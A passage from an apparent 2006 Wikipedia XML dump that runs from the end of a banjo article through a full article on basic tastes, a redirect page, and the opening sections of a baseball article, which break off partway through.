The banjo consists of a wooden or metal rim with a plastic ([[Mylar]]) or [[calf]] or [[goat]] skin [[drumhead]] stretched across it, a neck mounted on the side of the rim, a [[tailpiece]] mounted opposite the neck, four or five strings, and a [[bridge (instrument)|bridge]]. The woods used in construction vary, but are often combinations of maple, walnut, and ebony for [[fingerboard]]s, [[peghead]]s, and the tops of bridges. In the five-string banjo, the fifth peg is normally on the side of the neck, although some English versions (the Zither banjo) mount the fifth string tuner on the tuning head with the others, and route the string through a tube in the neck where it exits near the fifth [[fret]].

The earliest banjos were unfretted, like the African and [[Asia]]n instruments that inspired them, but most banjos today are fretted.  Banjo strings are most commonly metal, although [[nylon]] and gut can be used on some banjos, especially those played in the classical style. The two most common modern day acoustic banjos are the '''resonator banjo''' which has a detachable chamber, or resonator, on the back of the rim and the '''open back banjo''' which does not have a resonator. There are also solid body [[electric banjo]]s; one such banjo, the Crossfire (manufactured by [[Deering]]), has two powerful magnetic [[pickup (music)|pickups]] under the drumhead. A metal footed bridge ensures that pickups draw sound from both the strings and the head.

== Five-string banjo ==
The origins of the five-string banjo are often linked to [[Joel Walker Sweeney]], an American [[minstrel show|minstrel]] performer.  Sweeney wanted an instrument similar to the banjar played by African Americans in the American south, but at the same time, he wanted to implement some new ideas.  He worked with a New York drum maker to replace the banjar's skin-covered gourd with the modern open-backed drum-like pot, and added another string to give the instrument more range or a drone.  This new banjo came to be tuned gCGBD; somewhat higher than the eAEG#B tuning of the banjar.  However, a painting done long before Sweeney's supposed invention of the fifth string, called [http://www.history.org/history/teaching/enewsletter/volume3/images/OldPlantMed.jpg The Old Plantation],
shows African American slaves playing a banjo with what looks to be a short, fifth string.

The banjo can be played in several styles and is used in various forms of [[music]]. In [[bluegrass music]], which uses the five-string resonator banjo extensively, it is often played in [[Scruggs style]], named after [[Earl Scruggs]], melodic or [[Keith style]], or two-finger style, also called [[Reno style]] after [[Don Reno]], legendary father of [[Don Wayne Reno]]. In these styles the emphasis is on arpeggiated figures played in a continuous eighth-note rhythm. 

American [[Old-time music]] typically uses the five-string open back banjo. It is played in a number of different styles, the most common of which are called  [[clawhammer]]  (or &quot;claw-hammer&quot;) and frailing, characterised by the use of a downward rather than upward motion when striking the strings with the fingers. Frailing techniques use the thumb to catch the fifth string for a [[drone (music)|drone]] after each strum, or to pick out additional melody notes in what is known as &quot;drop-thumb.&quot; [[Pete Seeger]] popularised a [[Folk music|folk]] style by combining clawhammer with &quot;up picking&quot; without the use of finger picks.

Many tunings are used for the five-string banjo.  Probably the most common, certainly in bluegrass, is the open G tuning: gDGBd.  In earlier times, the tuning gCGBd was commonly used instead.  Other tunings common in old-time music include double C (gCGCd), sawmill or mountain minor (gDGCd) also called Modal or Mountain Modal, and open D (f#DF#Ad).  These tunings are often taken up a tone, either by tuning up or using a [[capo]].

The fifth (drone) string is the same gauge as the first, but it is five frets shorter, three quarters the length of the rest. This presents special problems for using a [[capo]] to change the [[pitch (music)|pitch]] of the instrument.  For small changes (going up or down one or two semitones, for example) it is possible to simply retune the fifth string.  Otherwise various devices are available to effectively shorten the string.  Many banjo players favour the use of model railroad spikes (usually installed at the seventh fret and sometimes at others), under which the string can be hooked to keep it pressed down on the [[fret]].

== Four-string banjo ==
The '''plectrum banjo''' has four strings, lacking the shorter fifth string, and 22 frets; it is usually tuned CGBD.  As the name suggests, it is usually played with a guitar-style [[plectrum|pick]] (that is, a single one held between thumb and forefinger), unlike the five-string banjo, which is almost always played with a [[thumbpick]] and two [[fingerpick]]s, or occasionally with bare fingers.  The plectrum banjo evolved out of the five-string banjo to cater for styles of music involving strummed chords.  A further development is the '''tenor banjo''', which also has four strings and is typically played with a plectrum too.  It has a shorter neck of 19 frets is usually tuned CGDA, like a [[viola]], or GDAE, like a [[violin]] (but a fifth lower), and has become quite a standard instrument for [[Irish traditional music]] where is mainly used in its shorter 17 frets variant.  [[Eddie Peabody]] (plectrum) and [[Harry Reser]] (tenor and plectrum) are regarded as two of the best four-string banjo players of all times.

== Other banjo variants ==

[[Image:Grzesiuk 2.jpg|thumb|right|[[Stanisław Grzesiuk]] playing a distinctive 8-string banjo]]
A number of hybrid instruments exist, crossing the banjo with other stringed instruments.  Most of these use the body of a banjo, often with a resonator, and the neck of the other instrument.  Examples include the ''[[guitar]] banjo'', 'banjitar' (a trade-name) or ''[[guitjo]]'', the ''[[Banjo Mandolin|banjo mandolin]]'' and the ''banjo [[ukulele]]'' or ''[[banjolele]]''.  These were especially popular in the early decades of the twentieth century, and were probably a result of a desire either to allow players of other instruments to jump on the banjo bandwagon at the height of its popularity, or to get the natural amplification benefits of the banjo resonator in an age before electric amplification. The six-string or guitar-banjo was the instrument of the early jazz great Johnny St. Cyr, as well as of jazzmen [[Danny Barker]], Papa Charlie Jackson and Clancy Hayes.

Instruments using the five-string banjo neck on a wooden body (for example, that of a [[bouzouki]] or [[dobro|resonator guitar]]) have also been made, though these are not so common.  A 20th-Century [[Music of Turkey|Turkish]] instrument very similar to the banjo is called [[Cümbüs]].

== See also ==

* [[List of banjo players]]
* [[Prewar Gibson banjo]]

== Further reading ==

=== Banjo history ===
* Conway, Cecelia, ''African Banjo Echoes in Appalachia: A Study of Folk Traditions'', University of Tennessee Press, 1995 (paper - ISBN 0870498932; cloth - ISBN 0870498924).   A study of the influence of African-Americans on banjo playing throughout U.S. history.
* Gura, Philip F. and James F. Bollman, ''America's Instrument:  The Banjo in the Nineteenth Century'', The University of North Carolina Press, 1999 (ISBN 0807824844).  The definitive history of the banjo, focusing on the instrument's development in the 1800's.
* Tsumura, Akira, ''Banjos:  The Tsumura Collection'', Kodansha International Ltd., 1984 (ISBN 0870116053).  An illustrated history of the banjo featuring the world's premier collection.
* Webb, Robert Lloyd, ''Ring the Banjar!'', Centerstream Publishing, 2nd edition, 1996 (ISBN 1574240161).  A short history of the banjo, with pictures from an exhibition at the MIT Museum.

=== Instructional ===
* Costello, Patrick, ''The How and the Tao of Old Time Banjo'', Pik-Ware Publishing, 2003 (ISBN 0974419001). Instruction in frailing banjo. Available online under a Creative Commons license on several web sites including [http://www.ezfolk.com/banjo/howtao/ ezfolk].
*[[Pete Seeger|Seeger, Pete]], ''How to Play the 5-String Banjo'', Music Sales Corporation, 3rd edition, 1969 (ISBN 0825600243). The seminal instruction book, still in print decades later. Seeger has since recorded an instruction video, available on DVD.

== External links ==
* [http://www.bluegrass-museum.org The International Bluegrass Music Museum]
* [http://4stringchords.com Chord finder for 4-string banjos]
* [http://zeppmusic.com/banjo/ Banjo-L]

[[Category:String instruments]][[CATEGORY:Drumhead lutes]]

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    </revision>
  </page>
  <page>
    <title>Basic taste</title>
    <id>3847</id>
    <revision>
      <id>41572060</id>
      <timestamp>2006-02-28T05:45:32Z</timestamp>
      <contributor>
        <ip>64.229.88.161</ip>
      </contributor>
      <comment>minor typo</comment>
      <text xml:space="preserve">'''Basic taste''' is the form of the [[sense]] of [[taste]] in [[human]]s received through [[sensory organ]]s, called [[taste bud]]s or ''gustatory calyculi'', and other receptors are concentrated on the upper surface of the [[tongue]], without the influence of the [[olfactory system]]. They appear to be receptive to relatively few chemical species as tastes. This contrasts markedly with the sense of [[olfaction]] or [[smell]], where very large numbers of [[chemical]]s, [[aromatic compound]]s especially, can be differentiated. There is scientific dispute as to whether basic tastes exist per se or are simply an overly reductionist concept. There is also philosophical dispute between biochemists, who believe evidence for a chemical reaction in tongue tissue means there is a basic taste, and psychologists, who see taste as much more based on psychological states and experiences. Integral taste is the sum of biochemical reactions in the form of psychological and psychosocial terms (e.g. in terms of 4-tastes european or 5 - tastes asian traditional models).

Psychologists speak more about &quot;flavor profiles&quot; than tastes, based on the ways people reporting experience taste. Such reports and testing tend to show even the classic four basic tastes shading into each other on a spectrum of experience.

==History==
Classically, four tastes are known to be sensed by taste buds: bitter, salty, sour and sweet. Growing in popularity is the concept of a supposed &quot;fifth basic taste&quot; called umami.  Until recently, most Western sources listed only the first four; in recent years, the fifth taste&amp;mdash; umami &amp;mdash;has become highly marketed and met with qualified scientific acceptance.  Umami is generally described as the taste of the common food flavoring [[monosodium glutamate]], or MSG, first isolated by Dr. Kikunae Ikeda at the Imperial University of Tokyo, Japan, in 1907. The term umami and its status as a supposed &quot;basic taste&quot; were popularized by the MSG industry in the 1980s as a way to dispel health concerns about apparent allergic reactions to MSG. Umami has also recently been equated with &quot;savory,&quot; a taste or flavor recognized by British and Dutch food scientists, but not widely accepted in America. 

The Chinese also recognize ''pungent'' as a sixth flavour.  Some argue that '''spicy''' should also be included here as a different type of taste.  Conflicting opinions exist and there are no reliable studies yet to support this argument. A major problem are confusions between the concept of taste, which generally refers to stimuli directly affecting the tongue, and flavor, which involves olfaction as well.

In general, the sense of taste is often confused by smells that occur at the same time, and much of the apparent sensation of taste is actually derived from smell stimuli. Loss of smell through [[anosmia]], for example when one has a cold, severely reduces one's apparent sense of taste.

Historically, the science of how humans sense taste has been full of misunderstandings and conflicting claims. For many years, books on the [[physiology]] of human taste contained diagrams of the tongue showing levels of sensitivity to different tastes in different regions. There is some scientific foundation for these &quot;maps&quot;, but they are generally overly reductionist.

In Western culture, the concept of basic tastes can be traced back at least to Arisotle, who cited &quot;sweet&quot; and &quot;bitter,&quot; with &quot;succulent,&quot; &quot;salt,&quot; &quot;pungent,&quot; &quot;harsh,&quot; &quot;astringent&quot; and &quot;acid&quot; as elaborations of those two basics.

The concept of basic tastes is probably too simplistic and does not account for more complex reactions sometimes described as &quot;mouthfeel,&quot; or for tastes such as metallic that are generally not considered food-oriented. At the same time, attempts to make a case for new &quot;basic tastes&quot; are often dubious, propelled at least as much by industry marketing as by science.

Umami, it is said, is often found in protein, some vegetables, and fermented foods, such as [[soy sauce]], [[fish sauce]], [[miso]], and [[douchi|black bean sauce]].  Umami plays a particularly important role in Japanese foods: it is often extracted from fish, sea kelp, and/or shiitake mushrooms to create the Japanese-style soup stock ''[[dashi]]'', which is used in many Japanese dishes.

Although umami was not as well recognized in Western countries until recently, many Western dishes supposedly benefit from including umami.  For instance, soup stocks, anchovies, some cheeses, and tomato sauce/ketchup, all widely used, are said to contain umami.

However, umami has proven extremely hard to define, and descriptions of it vary from source to source. It includes not only a literal taste but a sensation variously described as &quot;bigness,&quot; &quot;impact,&quot; &quot;roundness&quot; and so on. There is no doubt that there is some kind of &quot;umami&quot; sensation, but exactly what it is, and whether it is a flavor, a basic taste or some combination of other known basics, is in dispute.

Scientists recently found an umami receptor molecule in tongue tissue. But that doesn't necessarily mean there is a direct umami taste experience due to the way such receptors work. For example, receptors may simply cancel out the sensation of a molecule.

The ancient Chinese [[Five Elements]] philosophy lists slightly different five basic tastes: bitter, salty, sour, sweet, and hot instead of umami.

In November 2005, [http://news.bbc.co.uk/1/hi/health/4399584.stm it was reported] that a team of French researchers experimenting on rodents claimed to have evidence for a sixth taste, for fatty substances.  It is speculated that humans may also have the same receptors. Fat has occasionally been raised as a possible basic taste since at least the 1800s.

There is a welter of new and ongoing research about taste that continuously puts forth new candidates for &quot;basic&quot; tastes. Other candidates include metallic and an umami-like taste called kokumi.

Many obvious sensations, such at hot, astringent and acidic are still recognized by science, but considered &quot;chemical senses&quot;--mere pain reactions--rather than tastes. Whether that is a meaningful distinction is in dispute.

==Saltiness== 
Saltiness is a taste produced by the presence of [[sodium chloride]] (and to a lesser degree other [[salt|salts]]). The ions of salt, especially sodium (Na&lt;sup&gt;+&lt;/sup&gt;), are detected by ion channels on the tongue, leading to [[action potential]].

==Sourness==
Sourness is the taste that detects [[acid]]s. The mechanism for detecting sour taste is similar to that which detects salt taste. Hydrogen [[ion channels]] detect the concentration of hydronium ions (H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt; ions) that have dissociated from an acid.

Hydrogen ions are capable of permiating the amiloride-sensitive sodium channels, but this is not the only mechanism involved in detecting the quality of sourness. Hydrogen ions also inhibit the potassium channel, which normally functions to hyperpolarize the cell. Thus, by a combination of direct intake of hydrogen ions (which itself depolarizes the cell) and the inhibition of the hyperpolarizing channel, sourness causes the taste cell to fire in this specific manner.

==Sweetness==
''Main article:  [[Sweetness]]''

Sweetness is produced by the presence of [[sugar]]s, some proteins and a few other substances. Sweetness is detected by a variety of [[G protein coupled receptor|G protein coupled receptors]] coupled to the [[G protein]] [[gustducin]] found on the [[taste bud|taste buds]]. At least two different variants of the &quot;sweetness receptors&quot; need to be activated for the brain to register sweetness. The compounds which the brain senses as sweet are thus compounds that can bind with varying bond strength to several different sweetness receptors. The differences between the different sweetness receptors is mainly in the binding site of the G protein coupled receptors. And yet sour still has a sweet taste to some.

{| class=&quot;wikitable&quot; border=&quot;1&quot;
|+ Examples of sweet substances, with average [[human]] detection thresholds in [[mole (unit)|mole]]s per [[liter]]
![[Molecule]]!!Threshold
|-
|[[Sucrose]]||10 mmol/L
|-
|[[Lactose]]||30 mmol/L
|-
|[[5-Nitro-2-propoxyaniline]]||2 &amp;micro;mol/L
|}

== Bitterness ==

Bitterness, like sweetness, is sensed by [[G protein coupled receptor|G protein coupled receptors]] coupled to the [[G protein]] [[gustducin]].  Many people find bitter tastes to be unpleasant; many [[alkaloid|alkaloids]] taste bitter, and [[evolutionary biology|evolutionary biologists]] have suggested that a distaste for bitter things evolved to enable people to avoid accidental [[poisoning]].

The bitterest substance known is the synthetic chemical [[denatonium]], such as the under the trademark Bitrex [http://www.bitrex.com/home.htm], discovered in [[1958]]. Denatonium benzoate is a white, odourless solid used as an aversive agent, and can be an additive that prevents accidental ingestion of a toxic substance by humans, particularly children, and by animals.

The synthetic substance [[phenylthiocarbamide]] (PTC) tastes very bitter to most people, but is virtually tasteless to others; furthermore, among the tasters, some are so-called &quot;super-tasters&quot; to whom PTC is extremely bitter.  This [[genetics|genetic]] variation in the ability to taste a substance has been a source of great interest to those who study genetics.  In addition, it is of interest to those who study [[evolution]] since PTC-tasting is associated with the ability to taste numerous natural bitter compounds, a large number of which are known to be toxic.

[[Quinine]], the anti-malarial [[prophylactic]], is also known for its bitter taste and was used as a medical and flavor additive in the gin and tonic drink.

== Umami ==

The following outlines the claims about umami, but should be taken with a grain of salt while research continues. 

Savoriness or umami is the name for the taste sensation produced by the free [[glutamate|glutamates]] commonly found in [[fermentation|fermented]] and aged foods, for example [[parmesan]] and [[roquefort]] [[cheese]]s, as well as [[soy sauce]] and [[fish sauce]]. It is also found in significant amounts in various unfermented foods such as [[walnut]]s, [[grape]]s, [[broccoli]], [[tomato]]es, and [[mushroom]]s, and to a lesser degree in [[meat]]. The glutamate taste sensation is most intense in combination with [[sodium]]. This is one reason why tomatoes exhibit a stronger taste after adding [[salt]]. Sauces with umami and salty tastes are very popular for cooking, such as tomato sauces and [[ketchup]] for Western cuisines and soy sauce and fish sauce for [[East Asia]]n and [[Southeast Asia]]n cuisines. However, the lack of umami taste with other glutamate molecules makes at least some experts question what is actually producing the umami taste. 

The additive monosodium glutamate, which was developed as a food additive in [[1907]] by [[Kikunae Ikeda]], produces a strong umami taste. Umami is also provided by the [[Nucleotide|nucleotides]] [[disodium inosinate|disodium 5&amp;#8217;-inosine monophosphate]] (IMP) and disodium 5&amp;#8217;-guanosine monophosphate (GMP). These are naturally present in many protein-rich foods. IMP is present in high concentrations in many foods, including dried [[skipjack tuna]] flakes used to make [[dashi]], a [[cuisine of Japan|Japanese]] broth. GMP is present in high concentration in dried [[shiitake]] mushrooms, used in much of the [[cuisine of Asia]]. There is a synergistic effect between MSG, IMP and GMP which together in certain ratios produce a strong umami taste.

Umami is considered basic in Japanese and Chinese cooking, but is not discussed as much in [[Western cuisine]], where it is sometimes referred to as &quot;savory&quot;, &quot;meaty&quot; or &quot;moreish.&quot; 

The name comes from ''umami'' (&amp;#26088;&amp;#21619; or &amp;#12358;&amp;#12414;&amp;#12415;), the [[Japanese language|Japanese]] name for the taste sensation.  The characters literally mean &quot;delicious flavour.&quot;

In [[English language|English]], the name of the taste is sometimes spelled ''umame'', but ''umami'' (which conforms to a more common [[romanization]] standard of Japanese) is much more common, as in [http://www.srut.org/index_e.html Society for Research on Umami Taste].

The same taste is referred to as ''xi&amp;#257;nwèi'' (&amp;#39854;&amp;#21619; or 鲜味) in Chinese cooking.

A subset of umami taste buds responds specifically to [[glutamate]] in the same way that ''sweet'' ones respond to sugar. Glutamate binds to a variant of [[G protein coupled receptor|G protein coupled glutamate receptors]].

==Other sensations==
The tongue can also feel other sensations, not generally called tastes ''[[per se]]'' or included in the five human tastes. These are largely detected by the [[somatosensory]] system.

=== Tart ===
Some food (tea, unripe fruits) contains [[tannins]] that constrict organic tissue. The added sensation of [[astringent]] substances changes the perception of taste. Synonyms: hard, styptic, rough, harsh (about wine); harsh (about taste).
&lt;!--
Is difficult to say that [[persimmons]] taste like peppers (Warm taste, not Bitter).
--&gt;

=== Hot ===
Substances such as [[ethanol]] and [[capsaicin]] cause a burning sensation by inducing a trigeminal nerve reaction together with normal taste reception. The heat is caused by the food activating a [[neuron|nerve cell]] [[ion channel]] called [[Transient receptor potential|TRP-V1]], which is also activated by hot temperatures. The sensation, usually referred to as &quot;hot&quot; or &quot;spicy&quot;, is a notable feature of [[Mexican cuisine|Mexican]], [[Indian cuisine|Indian]] and [[Sichuan cuisine]]. Examples of common food ingredients giving this sensation are [[chile pepper]]s, fruits of the the plant ''[[Capsicum]]''.

=== Cold ===
Some substances activate cold trigeminal receptors. One can sense &quot;cold&quot; from e.g. [[menthol]] or [[camphor]], which is caused by the food activating the [[Transient receptor potential|TRP-M8]] ion channel on nerve cells that signal cold. The reactions behind this sense are therefore analogous to those behind the hot sense.

===Fat===
Recent research has revealed a potential taste receptor called the [[CD36|CD36 receptor]] to be reacting to [[fat]], and only fat. [http://www.sciam.com/article.cfm?chanID=sa003&amp;articleID=000AFE88-E770-1367-A6B083414B7F4945] This receptor is not only found in humans, but also [[brown rat|mice]], where it was initially found, and probably among other [[mammal]]s as well. In experiments, mouse individuals with a genetic defect not having the receptor didn't show an unusual urge to consume fats that mice sharing it did. Mice missing the receptor also failed to prepare [[gastric juice]]s in their [[gastrointestinal tract|digestive tract]]s to digest the fat. Both mice and humans are known to risk eating an unhealthy amount of fat if exposed to large or unrestricted quantities. This discovery may lead to a better understanding of the biochemical reasons behind this behavior, although more research is still necessary to confirm the relationship of CD36 and the cravings of fat.

== References ==
*Kikunae Ikeda. ([[1909]]). [http://chemse.oupjournals.org/cgi/content/full/27/9/847 ''New Seasonings'']
*Bernd Lindemann, Yoko Ogiwara, and Yuzo Ninomiya. ([[2002]]). [http://chemse.oupjournals.org/cgi/content/full/27/9/843 ''The Discovery of Umami'']
*Dunlop, Fuschia. 'It's all a matter of taste', ''[[Financial Times]]'' (Europe: [[August 6]] [[2005]]) p.W9

== External links ==
*[http://www.nature.com/neuro/press_release/nn0200.html Nature Neuroscience - Umami taste receptor identified]
*[http://www.nutrition.org/cgi/content/full/130/4/942S Receptor and Transduction Processes for Umami Taste]
*[http://hum-molgen.org/NewsGen/11-2003/msg11.html Researchers Define Molecular Basis of Human &quot;Sweet Tooth&quot; and Umami Taste]

{{Gustatory_system}}

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[[bg:Основен вкус]]
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    </revision>
  </page>
  <page>
    <title>Biological virus</title>
    <id>3849</id>
    <revision>
      <id>15902161</id>
      <timestamp>2003-01-12T04:59:39Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[virus]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball</title>
    <id>3850</id>
    <revision>
      <id>42160056</id>
      <timestamp>2006-03-04T05:28:09Z</timestamp>
      <contributor>
        <ip>71.208.112.185</ip>
      </contributor>
      <comment>/* Strategy and goals */</comment>
      <text xml:space="preserve">:''This article is about the sport, for a [[disambiguation]] on unrelated [[computer and video games]] entitled '''Baseball''' or similar names, see [[Baseball (computer game)]].''
{{portal}}

'''Baseball''' is a team [[sport]] in which a player on one team (the [[pitcher]]) attempts to throw a hard, fist-sized [[ball]] past a player on the other team (the [[batting (baseball)|batter]]), who attempts to hit the [[baseball (object)|baseball]] with a tapered, smooth, cylindrical stick called a [[baseball bat|bat]].

A team scores only when batting, by advancing past a series of four markers called [[baseball field|bases]] arranged at the corners of a square.

Baseball is sometimes called ''hardball'' to differentiate it from [[List of sports similar to baseball|similar games]] such as [[softball]]. 

[[Image:Busch Stadium.jpg|thumb|200px|A view of the playing field at the old [[Busch Stadium]] in [[St. Louis, Missouri]].]] 
[[Image:Fenway_park.jpg|thumb|right|Picture of [[Fenway Park]]. Part of the &quot;[[Green Monster (Fenway Park)|Green Monster]]&quot; can be seen lurking on the right side of this picture]]
Baseball is most popular in [[the Americas]] and [[East Asia]] (although in [[South America]] only in the extreme northern portion). In [[Japan]], [[Sports in Puerto Rico#Baseball|Puerto Rico]], the [[Dominican Republic]], [[Cuba]], [[Panama]], [[Venezuela]], [[South Korea]], and [[Taiwan]], it is one of the most popular sports. In the [[United States]] (the birthplace of baseball), baseball has long been regarded as more than just a &quot;[[major sport]]&quot; - it is the  ''[[national pastime]]'' and [[Major League Baseball]] has been given a unique monopoly status by the [[U.S. Congress]]; the total attendance for [[Major League Baseball|Major League]] games is roughly equal to that of all other American professional team sports combined. Among American television viewers, however, baseball has been surpassed in popularity (in terms of television ratings) by [[American football]]. Although three of the four most popular sports in North America are [[ball]] games (baseball, [[basketball]] and American football), baseball's popularity grew so great that the word &quot;ballgame&quot; in the United States usually but not always refers to a game of baseball, and &quot;ballpark&quot; to a [[baseball field]]. Of notable exception is in the south, where football is more popular and &quot;ballgame&quot; is used more frequently in association with that sport.
==Introduction==
Baseball is among the oldest and most popular team sports in the United States. A unique culture surrounds it, which includes the game itself, the field, the players, the ballparks, and the fans. It remains a sport created in and for simpler times, yet is a complex sport that is greater than any one individual, team, or era.

Although the origins and evolution of the various bat-and-ball games are murky, baseball is primarily an American invention. However, many believe that it originated as an adaptation of the game of [[rounders]], and was also influenced by the rules of [[cricket]]. As far back as the 1870s, American newspapers were referring to baseball as &quot;The National Pastime&quot; or &quot;The National Game.&quot;  A substantial part of baseball's appeal is that most of the games take place during the warm, relatively leisurely months of the year, which is why many people refer to baseball players as &quot;The Boys of Summer.&quot;

Baseball is a perennial attraction&amp;#8212;summarized below in [[#Baseball's unique style|Baseball's unique style]]&amp;#8212;unlike any other mainstream, American sport. Many people believe that baseball is the ultimate combination of skill, timing, athleticism, and strategy. [[Yogi Berra]] (a [[Baseball Hall of Fame|Hall of Fame]] baseball player) once said: &quot;Baseball is 90% mental&amp;#8212;the other half is physical.&quot;

The following section on [[#Gameplay|Gameplay]] provides the rules of game, but the lure of baseball is in its subtleties: situational defense, pitch location, pitch sequence, statistics, ball parks, history, and player personalities.  For the avid fan, the game&amp;#8212;even during its slowest points&amp;#8212;is never boring because of these nuances.  Therefore, a full appreciation of baseball naturally requires some knowledge of the rules; it also requires deep observation of those endearing and enduring qualities that give baseball its unique style. Again, in the words of Yogi Berra, &quot;You can observe a lot just by watching.&quot;

==Gameplay==
A simplified version of the rules of baseball is at [[simplified baseball rules]]. Also visit [http://www.mlb.com www.mlb.com], the official web site of Major League Baseball in the United States, where you can view clips of baseball being played during the baseball season (April-October).
===General structure===
[[Image:baseball field overview thumbnail.png|thumb|300px|right|Diagram of a [[baseball diamond]].]]
Baseball is played between two teams of nine players each on a [[baseball field]], under the authority of one or more officials, called [[umpire (baseball)|umpire]]s. There are usually four umpires in major league games; up to six (and as few as one) may officiate depending on the league and the importance of the game.  There are four ''[[base (baseball)|bases]]''. Numbered [[counter-clockwise]], first, second and third bases are cushions (sometimes informally referred to as ''bags'') shaped as 15&amp;nbsp;[[inch|in]] (38&amp;nbsp;[[centimetre|cm]]) squares which are raised a short distance above the ground; together with [[home plate]], the fourth &quot;base,&quot; they form a square with sides of 90&amp;nbsp;[[foot (unit of length)|ft]] (27.4&amp;nbsp;[[metre|m]]) called the [[diamond (shape)|diamond]]. Home base (plate) is a pentagonal rubber slab known as simply ''home''. The field is divided into two main sections:

-The ''infield'', containing the four bases, is for defensive and conversational purposes bounded by the foul lines and the grass line (see figure). However, the infield technically consists of only the area within and including the bases and foul lines.

-The ''outfield'', which is the grassed area beyond the infield grass line (for general purposes; see above under infield), between the foul lines, and bounded by a wall or fence. Again, there is a technical difference; properly speaking, the outfield consists of all fair ground beyond the square of the infield and its bases. The area between the foul lines, including the foul lines (the foul lines are in fair territory), is fair territory, and the area outside the foul lines is foul territory.

The game is played in nine [[innings#Baseball|innings]] in which each team gets one turn to [[#Batting|bat]] and try to score ''[[run (baseball)|runs]]'' while the other pitches and defends in the field.  In baseball, the defense always has the ball -- a fact that differentiates it from most other team sports.  The teams switch every time the defending team gets three players of the batting team ''[[out (baseball)|out]]''.  The winner is the team with the most runs after nine innings.  In the case of a tie, additional innings are played until one team comes out ahead at the end of an inning (if the visitors are ahead) or in an incomplete inning (if the home team scores to take the lead in its half of an extra inning, the game ends at that point).  At the start of the game, all nine players of the home team play the field, while players on the visiting team come to bat one at a time.

[[Image:Baseball swing.jpg|thumb|left|A batter follows through after swinging at a pitched ball.]]
The basic contest is always between the ''[[pitcher]]'' for the fielding team, and a ''[[Batter (baseball)|batter]]''. The pitcher throws—''[[pitch (baseball)|pitches]]''—the ball towards home plate, where the ''[[catcher]]'' for the fielding team waits (in a crouched stance) to receive it. Behind the catcher stands the home plate umpire. The batter stands in one of the [[batter's box|batter's boxes]] and tries to hit the ball with a bat. The pitcher must keep one foot in contact with the top or front of the pitcher's rubber—a 24&quot; x 6&quot; (~ 61 cm x 15 cm) plate located atop the pitcher's mound—during the entire pitch, so he can only take one step backward and one forward in delivering the ball. The catcher's job is to receive any ball that the batter misses or does not swing at, and to &quot;call&quot; the game by a series of hand movements that signal to the pitcher what pitch to throw and where. If the pitcher disagrees with the call, he will &quot;shake off&quot; the catcher by shaking his head no; he accepts the sign by nodding. The catcher's role becomes more crucial depending on how the game is going, and how the pitcher responds to a given situation. Each pitch begins a new ''play,'' which might consist of nothing more than the pitch itself.

Each half-inning, the goal of the defending team is to get three members of the other team out. A player who is out must leave the field and wait for his next turn [[at bat]]. There are many ways to get batters and baserunners out; some of the most common are catching a batted ball [[in flight|in the air]], [[tag out]]s, [[force out]]s, and [[strikeout]]s. After the fielding team has put out three players from the opposing team, that half of the inning is over and the team in the field and the team at bat switch places; there is no upper limit to the number that may bat in rotation before three outs are recorded.  Going through the entire order in an inning is referred to as &quot;batting around&quot;. It is indicative of a high scoring inning. A complete inning consists of each opposing side having a turn (three outs) on offense.

The goal of the team at bat is to score more runs than the opposition; a player may do so only by batting, then [[baserunning|becoming a base runner]], touching all the bases in order (via one or more plays), and finally touching home plate. To that end, the goal of each batter is to enable [[#Running the bases|baserunners]] to score or to become a baserunner himself.  The batter attempts to hit the ball into [[fair territory]]—between the baselines—in such a way that the defending players cannot get them or the baserunners out. In general, the pitcher attempts to prevent this by pitching the ball in such a way that the batter cannot hit it cleanly or, ideally, at all.  

A baserunner who successfully touches home plate after touching all previous bases in order scores a ''[[run (baseball statistics)|run]]''.  In an enclosed field, a [[fair ball]] hit over the fence on the fly is normally an automatic ''[[home run]]'', which entitles the batter and all runners to touch all the bases and score. A home run hit with all bases occupied ('bases loaded') is called a ''grand slam''.

===Fielding team===
{{seealso|Baseball positions|Baseball positioning}}

The team in the field is the defensive team; they attempt to prevent the baserunners from scoring. There are nine defensive positions, however, only two of the positions have a mandatory location (pitcher and catcher), the locations of the other seven fielders is not specified by the rules, except that at the moment the pitch is delivered they must be positioned in fair territory and not in the space between the pitcher and the catcher. These fielders often shift their [[baseball positioning|positioning]] in response to specific batters or game situations, and they may exchange positions with one another at any time.  The nine positions are: pitcher, catcher, first baseman, second baseman, third baseman, shortstop, left fielder, center fielder, and right fielder. Scorekeepers label each position with a number starting with the pitcher (1), catcher (2), first baseman (3), second baseman (4), third baseman (5), shortstop (6), left fielder (7), center fielder (8), right fielder (9). This convention was established by [[Henry Chadwick]]. The reason the shortstop seems out of order has to do with the way fielders positioned themselves in the early years of the game.

====The battery====
The ''[[battery (baseball)|battery]]'' is composed of the ''[[pitcher]]'', who stands on the rubber of the mound, and the ''[[catcher]]'', who squats behind home plate. These are the two fielders who always deal directly with the batter on every pitch, hence the term &quot;battery&quot;, coined by [[Henry Chadwick]] and later reinforced by the implied comparison to [[artillery]] fire.

The pitcher's main role is to [[pitch (baseball)|pitch]] the ball toward home plate with the goal of getting the batter [[out (baseball)|out]].  Pitchers also play defense by fielding batted balls, [[Covering a base|covering bases]] (for a potential [[tag out]] or [[force out]] on an approaching runner), or backing up throws. The catcher's main role is to receive the pitch if the batter does not hit it. Together with the pitcher and coaches, the catcher plots game strategy by suggesting different pitches and by shifting the starting positions of the other fielders. Catchers are also responsible for defense in the area near home plate.

====The infielders====
The four infielders are the ''[[first baseman]]'', ''[[second baseman]]'', ''[[shortstop]]'', and ''[[third baseman]]''. Originally the first, second and third basemen played very near their respective bases, and the shortstop generally played &quot;in&quot; (hence the term), covering the area between second, third, and the pitchers box, or wherever the game situation required. As the game evolved, the fielding positions changed to the now-familiar &quot;umbrella&quot;, with the first and third baseman generally positioned a short distance toward second base from their bases, the second baseman to the right side of second base, and the shortstop playing to the left of second base, as seen from the batter's perspective, filling in the gaps.

